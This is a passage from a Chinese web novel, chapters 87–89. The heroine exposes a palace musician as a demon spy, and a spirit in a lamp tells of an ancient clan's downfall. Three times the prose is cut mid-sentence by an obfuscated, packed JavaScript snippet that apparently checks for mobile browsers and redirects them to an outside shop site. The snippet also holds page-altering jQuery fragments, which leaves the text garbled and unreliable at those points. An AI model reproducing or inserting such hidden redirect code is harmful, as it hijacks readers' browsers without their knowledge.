本想悄悄潜入宫中,现在好了,为了迎接她,宫里居然派出这么大的阵仗。实在是太给面子了! 良久,慕小闲终于跑不动,气喘吁吁被众侍卫围在某间院落里。 侍卫就要上前将她拿下,慕小闲一伸手:“等等......我有一个问题弄不明白,你们为什么总是抓我?那边有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137750|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长得就不像好人的,你们怎么不抓?” 侍卫像是没听到一般,闭口不言。 就在慕小闲觉得“世风日下、世态炎凉”时,侍卫的队伍中挤出一人,抬头将慕小闲打量几眼,眼睛一亮:“慕姑娘,你回来了?” 苏怜漪穿着浅色衣衫,头发随意系在身后,显然是匆匆赶来。几月不见,他身上内敛的气质好像放松了许多,不知是不是有些瘦了,看上去有些轻飘飘的。 慕小闲微微松了口气,点了下头:“没错。我看到一个黑影闯入宫中,怕他是刺客,就随着他进来了。本来人都快抓到了,你们这群侍卫居然视而不见,反过来要抓我。” 苏怜漪一愣,看了看周围的侍卫:“黑影?” 侍卫低下头:“属下并未看到除了这位姑娘之外的人。”又有侍卫随之应和。 苏怜漪眨眨眼,目光在慕小闲与侍卫之间打量了个来回,也许是秉着“少数服从多数”原则,他冷静地说:“慕姑娘,长乐宫里没有别的黑影,你或许是看错了。” 慕小闲心里骂了句脏话,她还解释不清了? 不过苏怜漪没有难为她,上前给她找台阶说:“夜深了,慕姑娘突然前来定是有事,不如先到偏殿休息,可要我去请主上过来?” 慕小闲确实还有更重要的事,不能为了一个不知身份的人误了晏离的时间,于是点点头,跟在苏怜漪身后向外走去,在路过侍卫时狠狠刮了他们一眼。 花园曲径通幽,两人沿着石台小径,一路绕过廊桥、拱门,路过几扇典雅的厢房,宫里似乎比她上次来时更加阒静。 苏怜漪负手与慕小闲并肩前行,游离的目光随意落在四处,不经意问道:“慕姑娘上次走的匆忙,竟也没有道别。” 慕小闲哪里是走的匆忙,她是被人从宫里绑走了,但她不敢将这件事泄漏出来,以免打草惊蛇。 她自知理亏,带着歉意道:“我那日正在气头上,再也不想理会你,所以没打招呼就走了。现在想来确实走的匆忙,是我不对,不过我这不是回来了吗?” 苏怜漪抿唇淡笑,思忖道:“这次回来应当不是专程向我道歉吧?” 慕小闲点点头,斟酌道:“我有事想问问青丘之主。” 苏怜漪低着头走路,眸光幽深,不知在想什么,须臾:“可以告诉我是什么事吗?” 慕小闲张了张嘴,觉得晏离的事情不方便与旁的人说,于是随口一扯:“也不是什么大事,但和白瑶殿下有关,要问过她后才能跟你说。” 苏怜漪微微颔首,将慕小闲往宫中更深处引。 走着走着,也不知走到了哪儿,慕小闲垂眸不经意瞥见两人在昏沉的月色下拉长的影子。两人的影子并不十分靠近,她的影子轻松坦荡,随着步伐的频率左右晃动,而对方的影子却一直紧绷着、端得极为克制。 她目视前方,余光却仔细地锁在苏怜漪身上,渐渐绷直背脊,故作轻松地寒暄道:“涟漪,这些日子你过得好吗?” 清风送来她的关切,让苏怜漪眸光微微一动,眼中弥漫上一丝缱绻的柔情,含着笑说:“近来主上公事繁重,召见我的时间不多,我一个人在宫中烦闷得很。我按慕姑娘先前教我的法子做了,但是效果并不怎么好,我和主上......关系依旧没有更进一步。这次慕姑娘若是不着急,可否多留几日,陪我解解闷,也给我出出主意。” 慕小闲眼中带着思索,轻声道:“能教你的都教了,有些事情不是努力就有用的。” 苏怜漪顿了顿,侧身幽幽望了她一眼,肩上一松轻笑道:“我明白。不过我还想再试试。” 柔风悠然拂过,园内花枝摇曳,光影交错,沙沙作响。 两只各怀心思的影子似乎靠近了一点,像隐匿在暗处、蓄势待发的野兽。 约莫是一种本能,慕小闲的太阳穴突然跳了几下,一种诡异的感觉油然而生。 她悄然放缓了脚步,看准时机猝然出手,从苏怜漪身后掐住他的脖子,眼神一凌狠声道:“你不是苏怜漪!你是谁?” 87. 第 87 章 面前这人的身型与她差别不大,这个动作对她来说不难。她手上用力,对方白皙的脖子上立刻浮现了一抹红痕。 苏怜漪不是习武之人,他走路时沉稳大方,不紧不慢。此人脚步飘忽,落地时绷着身体,根本没有释放全部的重量。 他僵直着身体,微微昂起头,挤出几个字:“慕姑娘,我......我就是苏怜漪。” 慕小闲凝眉迟疑了一会儿,问:“你什么时候学的仙术?” 苏怜漪也不挣扎:“慕姑娘,天界之人会些仙术再正常不过了。只不过怜漪平日不常用,有些荒废罢了。” 这么说倒也是,不能因为他之前没有展现过,就断定这个人不会。或许是这些天照顾晏离太过操劳,让她有些神经兮兮。 慕小闲松了手,尴尬地撩了撩刘海:“对不起,是我太紧张了,吓到你了。” 苏怜漪略略看了她一眼,目光带着些许惧意,捂着咽喉处,身体微微挪开了距离,哑声道:“无事。” 怀疑的种子一旦埋下就会生根发芽,慕小闲快速梳理了一遍今晚发生的事情。 她在长乐宫遇到了天街见过的紫衣吸血鬼,从天街回来时,她曾问过华尧有没有见过这号人物,华尧当时并不知道。华尧不会在这件事上欺瞒她,所以紫衣吸血鬼很有可能不是天庭之人。 紫衣吸血鬼两次出现在长乐宫,都不是正大光明现身,说不定也不是青丘之人。 对啊,看他每次都穿紫色,巴不得全天下人都知道他是...... 魔族...... 慕小闲呼吸一乱,如果他是魔族,为何屡次出现在长乐宫? 这里面的水恐怕就深了。花神村一事看来魔族早就渗透进青丘,若是宫中不知就罢了,宫里若是早就知晓,却放任不管,又是另一个故事了。那群侍卫刚才说没看见,是因为被施了障眼法还是因为不可说? 空旷的宫殿越发幽深寂静,夜风带着丝丝凉意灌入她的衣袖,她心头一沉,有些后悔冒然前来,但事已至此只能硬着头皮往前走。 两人在夜色中沉默地向前,半晌,苏怜漪突然问道:“慕姑娘身手进步了许多,是找到晏离公子了吗?” 风乍起,吹得园内挂着的几只琉璃灯灯火扑闪,忽明忽暗。 慕小闲耳朵一动,隐约听见隔墙发出轻微的行进声,有数量不少训练有素的侍卫一直暗暗跟着他们。 地面摇晃的树影似翻飞的蝴蝶,在她眼前虚晃,她心里越发紧张。 苏怜漪突然“啪”地一声拍在慕小闲肩上,吓得她立刻躲开几步,瞪大了眼睛回头:“你......你干什么?” 苏怜漪也是一副被吓到的神情:“慕慕慕姑娘,你在想什么?我在同你说话。” 慕小闲舒了口气,故作镇定道:“说什么?” 苏怜漪缓了缓,想追问却不知如何开口,前进几步,侧身撩起衣摆跨过外院的门槛:“慕姑娘,偏殿到了。” 寂静的楼阁在深夜像一座与世隔绝的孤岛,房前稀疏的几盏灯笼像是喝醉了一般摇摇晃晃。 慕小闲抬头看了一眼挑不出毛病的建筑,灯笼幽幽的光在她眼中点燃,她沉声道:“这不是偏殿。” 同样的否定用了两次有一种狼来了的效果。 苏怜漪在黑暗处转过身,眼中映着忽明忽暗的灯火,勾起唇角柔声道:“慕姑娘这是怎么了?你说我不是苏怜漪,又说这不是偏殿,那我们究竟是什么?” 一道白光猝然闪现于黑夜之中,如一把锋利的弯月刀向苏怜漪砍去。 苏怜漪瞳孔放大,直到凌冽的白光近身才猛然向上一跃。极具爆发力的一跃,陡然升高了五六米,一看就不是经年荒废之人。 白光砸在他刚才所站的位置,花草一炬,地面裂开了一条细缝。 苏怜漪的身影悬在半空中,朦胧月色笼罩在他身上,如同镀了一层薄纱。他的脸色已然沉了下来:“慕姑娘,你这是做什么?” “为何要躲?”慕小闲收手,目光灼灼地盯着夜空中的身影,语气甚是冷漠:“如果你不躲,还能藏得更久一些。” 身后传来整齐的脚步声,侍卫已经包围了这里。 慕小闲盯着半空中的苏怜漪,看着他系在身后的发丝随风而动,一双桃花眼中起了波澜,不再明媚而是凝聚着浓重的阴郁。 “你不会不躲,因为你身上有伤。”她微眯了下眼,坚定的语气像一把箭刺入黑夜。 苏怜漪没有接话,目色幽沉地俯视着她。 “你之所以会穿宽松的衣物,步若虚浮,都是因为你刚刚从重伤中恢复。” “你在说什么?慕姑娘,你是不是太困了?”苏怜漪随意地笑了笑,但笑意未达眼底。 慕小闲不理会他,接着说道:“我们交过三次手。 “两次你都被我打得落荒而逃。” 苏怜漪的表情一僵,咬了咬牙,眼神中露出危险的神色。 “你知道我是如何猜到的吗?”慕小闲弯了弯眼睛,扬起虚伪的笑容:“你利用对白瑶一往情深的形象,让我对你放松了警惕。任谁看了你的表演都会赞叹一句,好一位痴情之人。 “起初确实很难联想到你,因为你是长乐宫中手无缚鸡之力、一心系在白瑶身上的乐师。而那个偷袭我三次的黑影......武艺高强,带着魔气,显然是魔族。” 慕小闲观察着对方的表情,苏怜漪脸上柔和的线条渐渐变得硬朗,气质也悄然发生了变化。他具有欺骗性的穿着打扮,带着一股亲和的书生气,但那双桃花眼却一点也不寡淡,此时看来,他的样貌与穿着委实有些违和。 “但你有一样东西骗不了人。”身后的清风扬起了她高高束起的长发,她身着紧身衣抱着双臂,干练中带着一丝与生俱来的痞气。 “你偷袭我三次,两次用了不同的乐器。若是在花神山你依旧用的是箜篌,我可能还想不到你的神器居然能随意变换。” 苏怜漪眼神一动,不再解释。 “我不知你的神器为何能变换形态,但你精通乐理,乐器总归是最容易上手的。”慕小闲的眼神愈发冰冷:“你最熟悉的东西也是最容易出卖你的。” 苏怜漪听了轻笑几声:“慕姑娘,我听不懂你在说什么。这些都是你的一面之词,天界擅长乐理的不止我一人,你说我追杀了你三次,有证据吗?” 慕小闲恨得咬牙切齿,她明知是苏怜漪屡次三番追杀她,害白衣身故,害晏离昏迷不醒,可她确实没有证据。 疑点太多了。苏怜漪为何屡次对她下手? 他假意追求白瑶是否在隐藏什么? 白瑶? 电光火石之间,慕小闲突然被一股更加汹涌的恐惧所吞没,如果他做的这一切白瑶都是知晓的呢?白瑶在其中到底扮演了什么角色?她还有办法拿到囚仙印的解除方法吗? 若他们一开始就想要杀了她,恐怕早有准备,只是没想到她这么快就自投罗网。 慕小闲沉声道:“白瑶知道你是魔族吗?” 苏怜漪望着她的眼神划过一抹阴狠:“你想说什么。” 慕小闲苦于没有证据不敢轻举妄动,又不明白白瑶的立场,只能冷哼一声,忿忿地骂道:“我没调戏过你,你却一直追着我不放,该不会是暗恋我吧?啧啧啧,你这身皮囊虽然有几分迷惑性,但在天界众多美男中根本排不上号。你的心眼太多,为人虚伪又优柔寡断,与那些心地善良、纯洁美好的仙人相比更是一文不值,我就算与山鸡为伴也看不上你。” 苏怜漪不仅未被激怒,还仰天大笑几声,眼中淬着毒道:“慕姑娘,禽困覆车你不会不懂吧。” 他骂她狗急跳墙! 慕小闲握紧了拳,心里气得要炸,面上泰然自若地嘲讽回去:“你跟了白瑶这么久,她放着空荡荡的后宫也没收了你,你说......她是不是和我想的一样?” 苏怜漪眯了眯眼,空气陡然一凝,眼中闪过一丝杀意:“我和她之间不需要你来评判。” 身后哗哗声响起,一众穿戴齐整的侍卫冲进了外院,一排站开,将园子堵得水泄不通。他们对慕小闲亮出了手中的武器,银枪在薄凉的月色下泛着清辉,尖利的刺头指着同一个方向。 “我是不是该说,你们演了一场好戏?”慕小闲的目光从侍卫身上扫过,然后勾起唇角:“不过你们以为同样的错误我还会犯第二次吗?” 苏怜漪从半空中缓缓落下,孤身坐在园中的石桌旁看戏,清雅的声音说道:“那可不一定,慕姑娘的心思可不是常人能比。” 银枪上前,清冷的光泽在夜色中划过。慕小闲身上浮现一圈淡淡的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137751|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,脊背绷得僵直,警惕地盯着四周:“你们一群人围攻一个,好意思吗?” 苏怜漪在后方轻笑一声:“慕姑娘真是......” 夜风拂树影,斑驳的月光交错。双方对峙,院内只有细微的呼吸声,银枪靠的越来越近,战斗一触即发。 “看那里!”慕小闲突然遥遥一指。 果真是屡试不爽,一行训练有素的侍卫一动未动,没有一个人被她唬得转过头去。 慕小闲甩甩胳膊,嘴硬道:“我就是测测你们的智商配不配和我动手。” 空气仿佛凝固,侍卫们警惕地盯着慕小闲,不知道她什么路数。 天空浓云遮住了月的光辉,天色越发阴沉,在众人包围之间,慕小闲仿佛身处黑暗深渊。她后退半步,眼睛微眯了一下,身上的仙气氤氲飘散...... 手中寒光一闪,一个巨大的白色光球突然在院中炸开,顿时院内被刺眼的强光笼罩,宫内亮如白昼。 侍卫避闪不及时,纷纷被强光刺痛了双眼,倒退几步,慌乱地谩骂。 “人呢?” “跑去哪儿了?” “快追!” “往哪边追?” 不过几秒,强光渐消,仿佛只是错觉一般恢复了昏沉,众人在幽暗中眨眨眼睛,忍着不适向四处搜索。 院中,扶着额头的苏怜漪缓缓睁开双眼,扫了一圈惊慌的侍卫,冷声道:“一群废物。” 慕小闲在黑暗中遁走,接连跳过几处高墙,渐渐来到宫内偏僻处。 为什么是偏僻处?因为看上去好像很久没有人来过,整个院子散发着一股阴森腐朽的气息,如果这时有孤魂野鬼现身她都不会觉得奇怪。 风声陡然变大,呼呼地落在慕小闲耳边,破落的门窗被大风刮得哗哗作响。 这园子虽然没有人气,但结构设计、陈设阒静典雅、温婉大气,一廊一桥伴着高山流水有一种峰回路转、别有洞天之感。 但现在不是欣赏风景的时候。 慕小闲草草看了几眼,趁四下无人,翻身进了屋内。屋内漆黑,伸手不见五指,外头风声还在肆虐。她微微松了口气,走进卧室想歇息一会儿再做打算。 夜还很长,她要想想办法如何接近白瑶。不知白瑶是否知道苏怜漪的身份?为何她会与魔族勾结在一起?最重要的是,她是否有囚仙印的解除方法。 幽闭的空间悄无声息,突然随风飘来奇怪的声音:“药啊药啊......”声音软弱无力,就像风从门缝中穿过产生的气流声,在这座荒废的居室里显得十分诡异。 起初慕小闲并没有在意,但这飘逸的声音断断续续,后来竟然越来越急促,好像是一种呼唤。 慕小闲身上涌上一股寒意,她战战兢兢地起身环顾四周,企图找出声音的来处,逐渐向室内的另一头走去。 穿过中堂,走进一间并不起眼的寝殿,绕过一道屏风,另一侧的空气更加冰凉。 那个声音又急促地响起,这一次慕小闲听清楚了。 那是一个细微又脆弱的声音,他唤的是:“瑶儿瑶儿......” 慕小闲惊惧不已,深宫之中果然故事多。她幽幽将眼前的薄纱撩开,案台上一只精致的莲花烛台跃入眼帘,烛台中间跳动着微弱的火焰。 微风一过,火苗随风而动就快熄灭。慕小闲赶紧走进来,将挡风的纱帘放下,将自己隔绝在了里面。 火苗渐渐稳定,那个虚弱的声音再次响起:“瑶儿瑶儿......”居然是从着火光中发出的。 慕小闲倒吸一口气,不知该如何是好。 随着她的靠近,火苗的声音提高了几分,带着一种莫名的激动:“瑶儿,瑶儿来了吗......” 慕小闲吓得牙齿都在打颤:“你是什么东西?” 火苗听了黯淡了几分,一个温润如水的声音缓缓流淌而出,竟然有让人如沐春风的力量:“我叫有苏。” 大风将陈旧的门窗撞得哐哐作响,薄纱拂动,黑暗中像仙女轻盈的衣裙翩翩起舞,将喧嚣隔绝在了帘帐外。 轻柔的声音一字一字灌入她的耳中, 慕小闲脑中一嗡,仿佛突然被人攥住心脏,瞳孔陡然放大。 “我曾经的名字是...... “华胥筝。” 88. 第 88 章 约两万年前,浩瀚的天际,天庭与青丘交汇处有一块昆仑大地。 传说,这块物资丰饶的大地是上古神族华胥氏的发源地。 华胥氏乃是自开天辟地以来就存在于天界的古老神族,在经历了十几万年的更迭后,发展得愈加壮大,族内也衍生出了许多不同的族群。 华胥氏精通乐理与奇门遁甲,族中有三样法宝的传说流传甚广。这三样法宝分别是:招魂引、锁魂铃、燃魂灯。 招魂引是一首由华胥族人编纂的乐曲,凝聚了华胥氏对天地万物的感知感悟,而后千秋万代经历了一任又一任族长之手,曲子的内核愈加强大。以曲音为引,仙气为饵,琴弦一铮,只要有灵,便会随着琴音波动产生共鸣。 锁魂铃是一颗经过九十九重天火锻造的金铃,能借魂魄生前的仙力,并释放出十倍百倍的力量。锁魂铃兼具毁灭与生长的力量,既具有极强的攻击性,也能催动灵体原始的生命力。世间无其他神器能与之匹敌,许多仙人趋之若鹜,争先恐后想要一睹锁魂铃的风采。 燃魂灯,据说是取自天火中淬炼的焰心,火势越旺越能滋养灵气,将受损的魂魄保存在焰心中,能使之逐渐恢复生机。 华胥氏因这三样法宝让天界各路神仙敬畏又好奇。 然而数万年白云苍狗,天界一番风云变幻,华胥氏作为上古神族中颇负盛名的一支,与其他神族一样面临许多现实问题。 譬如,庞大冗杂的族群应该如何维系?如何在天界其他神族之中屹立不倒?如何将华胥文明发扬光大?等等等等...... 数量稀少的族群,生存问题是第一大问题。而华胥氏在历史洪流中身负重任,他们如同盘根错乱的树根,深深扎根于天界的土壤,一个细小的决定很可能就会引发整个天界的震动。 华胥氏人丁兴旺,自然会有不同的声音。在沧海桑田的不断变换中,针对分裂得越来越细碎的族群,统筹兼并、汰旧迎新终于被提上日程。 但谁也没想到,这一举措竟然让原本分散的族人聚集在一起,拿起武器互相抗争。或许是华胥氏早已人心不齐,又或者是族长之位、族中宝物的诱惑太大,积累了数万年的矛盾一触即发。 族中争权夺利、兵荒马乱,在斗争爆发不久,传出了三样宝物下落不明的消息。 一时间,众仙哗然。但很快又有声音说,这不过是族长的缓兵之计,他早就想要独占这些宝物,如今趁乱将它们藏了起来。 于是内斗愈加剧烈,一发不可收拾。 少年华胥筝穿过郁郁葱葱的庭院,如一只云雀轻盈地掠过水上石桥,转眼绕过九曲连廊,青色的衣袖在空中扬起一道悠扬的弧度,如同云雀的翅膀。 他匆匆闯进明堂,门外耀眼的白光与他一同照进屋内。他身着上好的冰青色绸缎,衣襟袖口镶绣着白色的流云纹,腰间别着一只呈色通透的玉笛,头发用白玉簪高高束起,气质如清风拂细柳,眉目清秀中带着稚气。 少年如玉,骨子里散发出一股温润气质,就算此刻神色带着几分匆忙,也煞是好看。 明堂内还有一高大身影,穿着堇青色长袍,挺直了身板负手背对着他,面朝堂内高悬的一副人物画像。 华胥筝一见到他,身上仅有的三分冲动立刻褪去,稚气更加明显。 “父亲!为何要送我走?”华胥筝蹙着眉,不解地问道。 华胥族长缓缓转过身,神情严肃地看着他,声音沉闷如同击缶:“族中大乱,已成定局,你再待下去也无济于事。” 这些天分散在各地的族人纷纷赶回族中,他们各怀己见、互相不服,常常为一点零碎的小事争的面红耳赤,甚至还大打出手。虽然早有耳闻,华胥筝还是忍不住攥紧了拳头,身体微微发颤,他想不明白陪伴了他几千年的族人为何一朝一夕间变得面目全非。 他沉痛地闭上眼睛,挣扎道:“父亲,我不能走。要走我们一起走。” 华胥族长的目光忽而柔和,仿佛又回到了华胥筝小的时候,声音也变得和蔼许多,语重心长道:“阿筝,别闹小孩子脾气。来,让我看看你。” 华胥筝红了眼眶,慢慢上前走到父亲跟前,发现不知何时记忆中父亲黝黑的头发已夹杂着如霜雪般刺眼的白,眼角的皱纹间流露出深深的疲惫,往日俊秀的脸庞写满了岁月的沧桑。 华胥族长的目光落在他的身上,像一束慈爱温和的光,带着深切的眷恋和决绝。 那一刻,他心中有一根弦轰然断裂,他突然明白了有些事情一去不复返,并且毫无回转的余地。 就连神也不可以。 “父亲,这到底是怎么回事?外面说族中的宝物不知所踪......”华胥筝尚且还有一丝希望,如果能将三件宝物聚齐,或许族人就不会如此激进。 华胥族长浅浅叹了口气,垂下眼睫,目光从他身上挪开:“早在宝物失踪前,族中就有势力蠢蠢欲动,他们不过是借此机会动手而已。那招魂引的谱子是我烧的,锁魂铃我交给了你兰叔叔保管,真正丢失的只有燃魂灯。” 华胥筝大惊:“父亲,为何这样做?” 华胥族长语重心长道:“华胥氏创造这三样宝物是为了保护世间的生灵,而非控制他们,只是人的欲望太过复杂,若是落入有心之人的手恐怕会酿成大错。 “神仙妖魔有着无穷无尽的生命,但也并非没有终结,这是世间的规则。一旦这三样宝物落在一人之手,他就拥有了主宰一切生命的能力。要你生你便生,要你死你便死。夺走了你的肉身,还要禁锢你的灵魂。你无从逃脱它的追索,也无法阻止它摄取你的力量。” 余下的话不用多说,华胥筝早已明白。华胥氏虽然创造出了这三样法宝,却没有保护他们的能力。 华胥族长望着他的眼睛,告诫道:“招魂引的谱子你早已铭记于心。但不到万不得已,千万不要用它。” 华胥筝重重地点了点头。 “阿筝,你长大了。”华胥族长深深看了他一眼,缓缓说,眼中包含着复杂的深意:“以后......弃了华胥的姓氏好好活着吧。” 阿筝眼眶红了,紧紧咬着唇,不肯让热泪落下,许久才带着哽咽唤了一声:“父亲......” 华胥族长不再看他,转过身再次望向那副画:“和你母亲道别。” 阿筝抬眼望向画中眉目柔和的女子,一撩长袍,直直跪下磕了三个响头。最后再深深看了一眼父亲的背影,似乎要将他的样子永远镌刻在心中。他一步一步缓慢而沉重地向后退去,直到退到门槛才毅然决然地转身,向身后的光明处走去。 路途颠簸,绕是能够日行千里的马车也免不了摇摇晃晃。阿筝魂不守舍地坐在软塌上,撩起窗帘,最后看了一眼华胥族居住的大地。两旁景象向后掠过,他心中刺痛难忍,放下帘子,闭上双眼。 不知过了多久,车外突然传来撞击声,随之一声高调又清亮的“驾”,明显不是原本驱使马车的老伯发出的声音。 阿筝一惊,拉开门帘,对眼前艳丽之人怒目而视:“阁下何人?赶车的老伯呢?” 面前侧坐着一位男子,长发随风飘扬,鲜艳的衣袍松松垮垮地披在身上,身上带着一股散漫与肆意,手中把玩着长鞭,而原本驱车的老伯不知所踪。 他侧过头拿一双明艳的凤眼满不在意地撇了阿筝一眼,抬了一下唇角,似乎流露一丝戏谑的笑意。 阿筝突然像被定住了一般,浑身僵硬。 这位男子的面貌娇中带媚,骨架虽宽,但身上好似软若无骨,便是女子也很少有这种姿色。 阿筝不由脸上发烫:“你......你......你到底是什么人?” 一声轻笑从男子口中逸出,不知为何短短一个音节,像是变了几个调儿。 “小傻子,你看看这里是哪里?” 小......小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137752|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻子?阿筝不悦地四处看看,周围的景物十分眼熟,自己整整一夜还没离开华胥族的地盘,怎么回事? “呵。”男子又笑了:“我不知那老伯是何心思,不过现下华胥族长的长子可是值钱的很呐。” 阿筝微微敛眉,那老伯长期在父亲手下做事,若真有问题,那父亲周围还有几个可信之人? 他面露担忧之色:“你将他怎么样了?” 男子勾起唇角,冷声道:“杀了。” 阿筝呼吸一滞,声音带着颤抖:“杀了?就算他要对我不利,也是我与他的事情。你为何要杀他?” 男子轻哼一声,凤眼一挑:“华胥氏果真太平久了,才会养出你这样心慈手软的小少爷。” 阿筝凝眉:“你到底是谁?凭什么这样说我?” 男子突然转身掐住阿筝的下巴,凤眼不怀好意地在他的脸上打量一番。阿筝恼怒,甩袖欲将他推开,却不料手被他凌空抓住。 马车一个颠簸,两人滚入车厢内。 男子一手撑在车厢的侧壁上,长发从他肩头滑落,轻轻扫过阿筝的脸颊。他垂眸若有似无地瞥了一眼,眼中藏着几分轻蔑,勾起唇角笑道:“不如你跟了我,我保证让你安稳地活下去。” 阿筝心中愈加恼火,挣扎道:“你在胡说什么?” 男子哈哈大笑,坐了起来,媚眼一挑、薄唇轻启:“凤钰。” 凤钰?上古神兽金凤凰的大名阿筝有所耳闻,听说是个放荡不羁的纨绔公子,早些年流传出了不少风流事迹。他游历天界,居无定所,怎么会恰巧出现在这里? 凤钰翻身坐回马车前,将走歪的马赶到正道上,幽幽的声音传来:“你一定在想,我为什么会出现在这里。” 阿筝一愣,警惕地看着他的背影。 凤钰轻笑道:“就这么告诉你,我岂不是很没面子?” 阿筝不知他究竟什么意思,蹙眉瞪着他的背影没有出声。 凤钰又捏着腔调,幽幽说道:“我听闻华胥氏最近有些风波,所以特意赶来看笑话。” “你!”阿筝气的深呼吸几口:“华胥氏与你无冤无仇,你何必落井下石。” 凤钰回头用余光看向他:“你还真是好脾气。”他转过头:“华胥氏三样宝贝丢失已是天界皆知之事,但他们不知道的是,锁魂铃被你老爹送去了魔域,招魂引的继承者就是你,真正丢失的只有燃魂灯。” 阿筝眼神一变:“你怎么知道?” 凤钰弯了眼角,露出洁白的牙齿:“原本只是猜测,现在知道了。” 阿筝攥紧了拳头,指甲深深陷进了肉里。“你不是恰巧路过此地,你早就等在这里了是不是?为什么?” 凤钰一顿,手中的长鞭扬了扬,轻蔑地说:“因为我想要那三件宝贝。” 阿筝倒吸一口冷气,身上更是紧张,眼睛一眨不眨地盯着凤钰。 凤钰眯了眯眼:“你可知是谁盗走了燃魂灯?” 阿筝眼波一颤,浑身像是触电一般:“难道是你?”华胥氏戒备森严,一般仙人未经允许甚至不可能进入领地,但若是凤钰这般资历的神仙......就很难说了。 凤钰脸上的笑意不减:“是我,也不是我。但它现在在我手中,你现在也在我手中。只要我能取得锁魂铃,三样宝物就能重新聚齐。” 阿筝默默分析着他口中之话的真实性。 “为什么要这么做?” 凤钰满不在乎地说:“好玩儿。” 好玩吗? 一股铁锈味涌上喉头,阿筝被巨大的悲愤冲昏了头脑,一时头晕目眩,心中的凄苦化作无声的呜咽。他的族人分崩离析,族中宝物落在他人之手,而罪魁祸首居然只是为了好玩。 阿筝腰间的玉笛突然迸发出青色的光芒,他抽出笛子,向凤钰挥去。那长笛居然暗藏机关,霎时间弹出了一柄细长又锋利的长刃,架在凤钰的颈项上。 89. 第 89 章 凤钰丝毫未受影响,身体还是柔软地倚靠在门框上,眼睛都未抬一下:“你敢吗?” 阿筝悲愤地咬住下唇,心中忐忑不已,手中的利刃又紧了紧:“谁说我不敢?” 凤钰并不看他,收起唇边不正经的笑容,凝望着前方:“我与你无冤无仇,你为何要动手?” 阿筝一滞,手颤抖起来。凤钰虽然拿走了燃魂灯,但族中的骚乱却不是因他而起。今时今日的一切,他只是个导火索,而族中长期的历史遗留问题才是混乱的关键。但如果没有凤钰,也许不会这么快发生...... 心中的矛盾僵持不下,阿筝最终咬紧了牙,收回了长刃,精神状态貌似在几个瞬间老了十岁。他的喉头像是被针刺了一样难受,许久才传出喑哑的声音:“你要带我去哪里?” 凤钰扬起嘴角,音调轻快中带着一丝慵懒:“一个山清水秀的地方。” 。 凤钰作为大自然的搬运工,将阿筝放在了青丘群山中人迹罕至的一座,很多年后这座山才渐渐声名远扬,此为后话。 凤钰将他丢在此处便抽身离去,仿佛毫不在意阿筝是否会逃跑。不过阿筝也不知自己能去哪里,他离开华胥氏的第三天,华胥氏一夕之间覆灭的消息就传遍了天界。 外界猜测是族长用了什么法子,不成功便成仁,最终将所有族人全部拖下水。也有传闻称,华胥氏有人提前得了消息逃了出来。不过不论是否还存在华胥氏,面对觊觎宝物的其他族群,未亡者都不可能再冠华胥的姓氏。 华胥氏亡了。许多作壁上观的神仙这才反应过来,上古神族的消亡好像也没想象中那么困难,他们在万年间构建的文化和秩序,全都随着种族消亡喂了狗。 于是一种低迷的情绪在天界迅速蔓延。神仙打着缅怀华胥氏的称号,实则仙仙自危。 不过上古神族覆灭的威力并没有在当时全部展现,直到数万年后,当众仙再度回忆起之后发生的一连串事件时,才发现那个看似轻巧的结局,竟然引发了天界巨震。 阿筝在武祁山度过了一段漫长又艰辛的日子,起初他食不下咽、夜不能寐,只要一个恍惚就会觉得自己还在华胥氏的领地,周围依旧是那些鲜活的族人。 悲怆像一只钻进他身体的虫子,一点一点蚕食他的五脏六腑。每当他快要从某种浑浑噩噩的状态中脱离出来,虫子就会立马在他心尖咬上一口。 他不知自己为什么活着,又不能去死。他若是死了,世间便再无华胥氏。 他天生好品性,就算心中凄苦也不会随意宣泄出来,却闷在心里,伤身又伤心。 因他的温润,山中的小动物多愿意与他亲近,或许他太渴望群居生活了,渐渐地,从与这些动物的相处中找到了一丝情感寄托。 岁月会冲淡一切浓烈的情感,几百年之后,他偶尔会忘了自己是谁,然后获得几天短暂的平静,直到下一次悲伤的洪流再度席卷。 如同一块漂浮在海上的木板,永远无法再靠岸。 几百年后的一天,他在山中遇到了青丘之主。 不,应该说是前青丘之主,白瑶的母亲永昭殿下。 那日他正背坐在丛林前,燃起一火堆烤鸟,身后突然走出一个衣着华丽的女子,眨着灵动的大眼睛,直勾勾地看着火堆上悬挂的枝丫。 她长相清新脱俗,气质落落大方。一身端庄的锦绣霓裳,衣摆寥寥几根金丝银线勾勒出了一副山河画卷,两把金玉珠钗将长发挽起,留下一缕散发垂在胸前。永昭殿下比他年长许多,身上却带着一种少女轻快的气质,相较之下倒显得他如同一棵朽木。 